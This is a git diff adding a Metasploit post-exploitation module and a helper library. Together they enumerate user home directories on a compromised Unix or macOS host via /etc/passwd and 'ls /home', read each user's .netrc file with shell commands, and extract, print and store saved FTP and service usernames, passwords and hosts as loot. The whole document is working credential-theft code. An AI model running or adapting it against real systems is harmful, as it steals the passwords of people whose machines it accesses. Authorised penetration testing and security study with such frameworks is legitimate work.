diff --git a/lib/msf/core/post/unix/enum_user_dirs.rb b/lib/msf/core/post/unix/enum_user_dirs.rb new file mode 100644 index 0000000000..0bd7768d8c --- /dev/null +++ b/lib/msf/core/post/unix/enum_user_dirs.rb @@ -0,0 +1,33 @@ +module Msf +class Post +module Unix + include ::Msf::Post::Common + + # returns all user directories found + def enum_user_directories + user_dirs = [] + + # get all user directories from /etc/passwd + read_file("/etc/passwd").each_line do |passwd_line| + user_dirs << passwd_line.split(/:/)[5] + end + + # also list other common places for home directories in the event that + # the users aren't in /etc/passwd (LDAP, for example) + case session.platform + when 'osx' + user_dirs << cmd_exec('ls /Users').each_line.map { |l| "/Users/#{l}" } + else + user_dirs << cmd_exec('ls /home').each_line.map { |l| "/home/#{l}" } + end + + user_dirs.flatten! + user_dirs.sort! + user_dirs.uniq! + user_dirs.compact! + + user_dirs + end +end +end +end diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb new file mode 100644 index 0000000000..69b7852593 --- /dev/null +++ b/modules/post/multi/gather/netrc_creds.rb @@ -0,0 +1,83 @@ +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix/enum_user_dirs' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info={}) + super( update_info( info, + 'Name' => 'UNIX Gather credentials saved in .netrc files', + 'Description' => %q{Post Module to obtain credentials saved for FTP and other services in .netrc}, + 'License' => MSF_LICENSE, + 'Author' => [ 'Jon Hart ' ], + 'Platform' => [ 'bsd', 'linux', 'osx', 'unix' ], + 'SessionTypes' => [ 'shell' ] + )) + end + + def run + # A table to store the found credentials. + cred_table = Rex::Ui::Text::Table.new( + 'Header' => ".netrc credentials", + 'Indent' => 1, + 'Columns' => + [ + "Username", + "Password", + "Server", + ]) + + # all of the credentials we've found from .netrc + creds = [] + + # walk through each user directory + enum_user_directories.each do |user_dir| + netrc_file = user_dir + "/.netrc" + # the current credential from .netrc we are parsing + cred = {} + begin + # read their .netrc + cmd_exec("test -r #{netrc_file} && cat #{netrc_file}").each_line do |netrc_line| + # parse it + netrc_line.strip! + # get the machine name + if (netrc_line =~ /machine (\S+)/) + # if we've already found a machine, save this cred and start over + if (cred[:host]) + creds << cred + cred = {} + end + cred[:host] = $1 + end + # get the user name + if (netrc_line =~ /login (\S+)/) + cred[:user] = $1 + end + # get the password + if (netrc_line =~ /password (\S+)/) + cred[:pass] = $1 + end + end + rescue ::Exception => e + print_error("Couldn't read #{netrc_file}: #{e.to_s}") + end + # save whatever remains of this last cred if it is worth saving + creds << cred if (cred[:host] and cred[:user] and cred[:pass]) + end + + # print out everything we've found + creds.each do |cred| + cred_table << [ cred[:user], cred[:pass], cred[:host] ] + print_good("netrc (FTP) credentials: user=#{cred[:user]}, pass=#{cred[:pass]}, host=#{cred[:host]}") + end + + # store all found credentials + store_loot("netrc.creds", "text/csv", session, creds.to_csv, "netrc_credentials.txt", ".netrc credentials") + end + +end